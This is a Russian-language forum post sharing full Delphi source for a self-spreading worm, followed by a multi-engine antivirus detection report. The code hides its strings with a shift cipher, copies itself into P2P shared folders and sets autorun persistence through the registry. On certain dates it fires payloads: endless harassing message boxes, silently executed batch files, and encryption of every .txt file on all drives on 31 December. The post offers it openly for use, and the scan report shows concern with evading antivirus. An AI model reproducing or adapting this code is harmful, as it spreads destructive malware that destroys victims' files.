[Delphi] Червь с использованием криптографии

[IBM]

Всем привет

Вот пример использования шифрования строк в черве. Такое может круто сыграть вам на руку, антивирусные лабы просто любят такое. Только что нагуглил: _ttp://vms.drweb.com/virus/?i=2759215

Червь ползет по P2P и в зависимости от дня выполняет те или иные действия

program Project2;

uses
  Registry,
  ShellApi,
  Windows,
  SysUtils;

const
  pass='xbnthcrbqfrr';
  Name:Array [1..6] of string = ('фць', 'щиххи', 'фшхц', 'хлкпь', 'флнялс', 'сйзшй');
var
  Shared, s, str:string;
  Virus, Win:Array[0..260] of char;
  Date:TDateTime;
  Year, Month, Day:word;
  t:textfile;
  i:integer;
Function Reverse(str:string) : string;
  var
    i,len:integer;
    s:string;
  begin
    len:=length(str);
    s:='';
    for i:=len downto 1 do
      s:=s+str[i];
    result:=s;
  end;
Function Getsum(pass:string) : integer;
  var
    i,len:integer;
  begin
    result:=0;
    for i:=1 to length(pass) do
      result:=result+Ord(Pass[i])-length(pass);
  end;
Function Encrypt(str, pass:string) : string;
  var
    n, len, i,j:integer;
    s:string;
  begin
    len:=length(str);
    n:=Getsum(pass);
    s:='';
      for i:=1 to len do
        s:=s+Chr(Ord(str[i])+n);
      result:=Reverse(s);
  end;
Function Decrypt(str, pass:string) : string;
  var
    n, len, i,j:integer;
    s:string;
  begin
    len:=length(str);
    n:=Getsum(pass);
    s:='';
      for i:=1 to len do
        s:=s+Chr(Ord(str[i])-n);
      result:=Reverse(s);
  end;
Procedure InfectShare;
  var
    f:textfile;
    i:integer;
 begin
    str:=Win;
    Str:='ъюъґлтпм'+Encrypt(str+'\', pass);
    AssignFile(f, Decrypt(str, pass));
    Reset(f);
    Readln(f, Shared);
    CloseFile(f);
    Shared:=Shared+'\';
    Shared:=Encrypt(Shared, pass);
    for i:=1 to 6 do
      begin
        CopyFile(PChar(Decrypt(s, pass)), PChar(Decrypt(Shared, pass)+Decrypt(Name[i], pass)+Decrypt('люлґ', pass)), false);
        CopyFile(PChar(Decrypt(s, pass)), PChar(Decrypt('вшлктхм¦клшзощ¦яувщылоцшхувщлтпм¦узшнхшцвАй', pass)+Decrypt(Name[i], pass)+Decrypt('люлґ', pass)), false);
        CopyFile(PChar(Decrypt(s, pass)), PChar(Decrypt('вшлктхм¦клшзощ¦яувзз зсвщлтпм¦узшнхшцвАй', pass)+Decrypt(Name[i], pass)+Decrypt('люлґ', pass)), false);
        CopyFile(PChar(Decrypt(s, pass)), PChar(Decrypt('вклшзощвлшзощшзливщлтпм¦узшнхшцвАй', pass)+Decrypt(Name[i], pass)+Decrypt('люлґ', pass)), false);
        CopyFile(PChar(Decrypt(s, pass)), PChar(Decrypt('внфпухйфпⶶ¶ёялсфхКлвщлтпм¦узшнхшцвАй', pass)+Decrypt(Name[i], pass)+Decrypt('люлґ', pass)), false);
     end;
 end;
Procedure Autorun;
  var
    reg:Tregistry;
  begin
    CopyFile(PChar(Decrypt(s, pass)), PChar(Win+Decrypt('люлґ·цЙв', pass)), false);
    reg:=Tregistry.Create;
    Reg.RootKey:=HKEY_CURRENT_USER;
    Reg.OpenKey(Decrypt('фыШвфхпщшлЬъфлшшыЙвщэхкфпЭвъмхщхшйпУвлшзэъмхЩ', pass), true);
    Reg.WriteString(Decrypt('ъ№щшл··ыФ', pass), PChar(Win+Decrypt('люлґ·цЙв', pass)));
    Reg.CloseKey;
    Reg.Free;
  end;
Procedure HappyNewYear;
  begin
    MessageBox(0, 'Вот и наступил 2014 год. А данный вирус продолжает гулять по сети', 'Happy New Year', MB_OK);
  end;
Procedure DistructSummer;
  var
    i:integer;
    f:textfile;
    str:string;
  begin
    if Day>=20 then
      begin
        str:=Win;
        str:='ъзиґйлюЛлтпМЪ'+Encrypt(str+'\', pass);
        AssignFile(f, Decrypt(str, pass));
        Rewrite(f);
        Writeln(f, Decrypt('ммх¦хойЛЖ', pass));
        Writeln(f, Decrypt('ъюъґлукзлШвцхъсщлКв«ЛТПМХШЦШЛЩЫ«Д¦ґґґшзЭ¦шлияЙ¦з¦щп¦щпоЪ¦хойЛ', pass));
        Writeln(f, Decrypt('Кµ¦Щµ¦«льпшКулъщяЩ«¦ш±¦щ±¦о±¦ипшъъз', pass));
        CloseFile(f);
        ShellExecute(0, 'open', PChar(Decrypt(str, pass)), nil, nil, SW_HIDE);
      end;
  end;
Function MatchesMask(Name, Mask:string) : boolean;
  var
  lenM, j, len, i:integer;
  str:string;
  Ar, a:Array[1..260] of char;
  fl:boolean;
    begin
      for i:=1 to 260 do
        begin
          a[i]:='X';
          Ar[i]:='X';
        end;
      result:=false;
      fl:=false;
      j:=1;
      lenM:=length(Mask);
      len:=length(Name);
      if Mask[1]='*' then
        begin
          for i:=1 to lenM do
            begin
              if (Mask[i]<>'.') and (Mask[i]<>'*') then
                begin
                  a[j]:=Mask[i];
                  j:=j+1;
                end;
            end;
          j:=1;
          for i:=1 to len do
            begin
              if fl then
                begin
                  Ar[j]:=Name[i];
                  j:=j+1;
                end;
              if Name[i]='.' then fl:=true;
            end;
          if UpperCase(Ar)=UpperCase(a) then result:=true;
        end;
      if lenM=3 then
        begin
          If Mask='*.*' then result:=true;
        end;
      if (Mask[1]<>'*') then
        begin
          i:=1;
          while Name[i]<>'.' do
            begin
              a[i]:=Name[i];
              Ar[i]:=Mask[i];
              i:=i+1;
            end;
          if UpperCase(a)=Uppercase(Ar) then result:=true;
        end;
    end;
procedure FindFiles(StartFolder, Mask: string;
 ScanSubFolders: Boolean = True);
var
 SearchRec: TSearchRec;
 FindResult: Integer;
 temp, victim:textfile;
 tmp:string;
begin
 try
   StartFolder := IncludeTrailingBackslash(StartFolder);
   FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec);
   try
     while FindResult = 0 do
       with SearchRec do
       begin
         if (Attr and faDirectory) <> 0 then
         begin
           if ScanSubFolders and (Name <> '.') and (Name <> '..') then
             FindFiles(StartFolder + Name, Mask, ScanSubFolders);
         end
         else
         begin
           if MatchesMask(Name, Mask) then
             begin
               AssignFile(victim, StartFolder+Name);
               AssignFile(temp, 'temp.txt');
               Rewrite(temp);
               Reset(victim);
               while not EOF(victim) do
                 begin
                   readln(victim, tmp);
                   writeln(temp, Encrypt(tmp, pass));
                 end;
               CloseFile(victim);
               CloseFile(temp);
               DeleteFile(StartFolder+Name);
               CopyFile('temp.txt', PChar(StartFolder+Name), true);
               DeleteFile('temp.txt');
               sleep(100);
             end;
         end;
         FindResult := FindNext(SearchRec);
       end;
   finally
     FindClose(SearchRec);
   end;
 finally
 end;
end;
Procedure DistructSchoolTime;
  begin
    if (Day=1) and (Month=9) then
      begin
        while 1<>2 do
          MessageBox(0, '1 сентября, иди учись неучь, а не за компом сиди, гыгы', 'Супер пупер вирус xD', MB_OK);
      end;
    if (Day>=10) then
      begin
        while 1<>2 do
          MessageBox(0, 'А ты уроки сделал прежде чем садиться за компьютер, а школьничек?', 'Детям за компьютером не место', MB_OK);
      end;
  end;
Procedure DistructNewYear;
  var
    c:char;
  begin
  for c:='A' to 'Z' do
    if (GetDriveType(PChar(c+':\')) <> 1) and (GetDriveType(PChar(c+':\')) <> 0) then FindFiles(c+':\', '*.txt', true);
  MessageBox(0, 'Все ваши текстовые файлы зашифрованны, я не буду просить денег, просто нехер врубать комп в новый год', 'Червь антиновый год:', MB_OK);
  end;
Procedure ShowDate;
var
  Y, M, D:integer;
  l:textfile;
  s:string;
  begin
    Y:=Year;
    M:=Month;
    D:=Day;
    AssignFile(l, 'Date.txt');
    Rewrite(l);
    Writeln(l, 'Сейчас', Y, ' год, ', M, ' Месяц и ', D, ' День');
    CloseFile(l);
    AssignFile(l, 'Date.txt');
    Reset(l);
    Readln(l, s);
    CloseFile(l);
    MessageBox(0, Pchar(s), 'Уведомление', MB_OK);
  end;
begin
  GetWindowsDirectory(Win, sizeof(Win));
  str:=Win;
  str:='люлґщышпь'+Encrypt(str+'\', pass);
  GetModuleFileName(0, Virus, sizeof(virus));
  s:=Encrypt(virus, pass);
  CopyFile(PChar(Decrypt(s, pass)), PChar(Decrypt(str, pass)), true);
  str:=Win;
  str:='ъзиґоъзц'+Encrypt(str+'\', pass);
  AssignFile(t, Decrypt(str, pass));
  Rewrite(t);
  Writeln(t, Decrypt('ммх¦хойЛЖ', pass));
  Writeln(t, Decrypt('ъюъґлтпмв«ЪХХШУЛЪЩЯЩ«Д«ЙПТИЫЦ«¦хойЛ', pass));
  CloseFile(t);
  ShellExecute(0, 'open', PChar(Decrypt(str, pass)), nil, nil, SW_HIDE);
  sleep(4000);
  InfectShare;
  Date:=Now;
  DecodeDate(Date, Year, Month, Day);
  Autorun;
  If (Day=1) and (Month=1) and (Year=2014) then HappyNewYear;
  If (Month=6) or (Month=7) or (Month=8) then DistructSummer;
  If (Month=9) or (Month=10) or (Month=11) then DistructSchoolTime;
  If (Month=12) and (Day=31) then DistructNewYear;
  If (Month>1) and (Month<6) then ShowDate;
end.

Детект.... ( сегодня )

Название файла: Project2.exe
Размер файла: 98816 байт
Дата сканирования: Tue, 10 Dec 13 12:49:12 -0500
MD5-хэш файла: 7298299b4b30455e05feb3edfbfad8cc

Результат: 22 из 36

Ad-Aware: BehavesLike.Win32.Malware.wsc (mx-v)
AhnLab V3 Internet Security: OK
ArcaVir: OK
Avast: Win32:Malware-gen
AVG: trj.Generic33.CDZT
Avira: TR/Dldr.Delphi.Gen Trojan!
Bitdefender/BullGuard: Trojan.GenericKDV.1112737
BullGuard Internet Security 2013: Trojan.GenericKDV.1112737
Comodo: Malware@#1y7qme2hunukr
Dr.Web: Win32.HLLW.Autoruner1.45783
Emsisoft Anti-Malware (a-squared Anti-Malware): OK
eScan Internet Security Suite 14: Trojan.GenericKDV.1112737 (DB)
Fortinet 5: OK
F-Prot: OK
F-Secure 2014: Trojan.GenericKDV.1112737
G Data: Virus: Trojan.GenericKDV.1112737 (Engine A)

IKARUS: Trojan.Win32.Malex
Immunet/ClamAV: OK
K7 Ultimate: Trojan ( 003ed5a31 )
Kaspersky Internet Security 2014: Malware detected
McAfee Total Protection 2013: Artemis!7298299B4B30
Microsoft Security Essentials: OK
NANO: Trojan.Win32.Autoruner1.bwweyq
NOD32: @Trojan.Win32/Delf.RJX
Norman: win32:winpe/Suspicious_Gen4.EJPDV
Norton Internet Security: OK
Outpost Security Suite Pro 8.0: Trojan.Delf!eutHg3u3ELQ (Trojan)
Quick Heal: OK
Sophos: Mal/Generic-S
SUPERAntiSpyware: OK
Total Defense Internet Security: OK
Trendmicro Titanium Internet Security: OK
Twister Antivirus 8: W32.Delf.RJX.xhii
VBA: OK
VIPRE Internet Security 2013: BehavesLike.Win32.Malware.wsc (mx-v)
Virit: OK

Scan report generated by Scanner.FuckAV.ru


Детект в день создания ( я заскринил тогда, не сомневайтесь )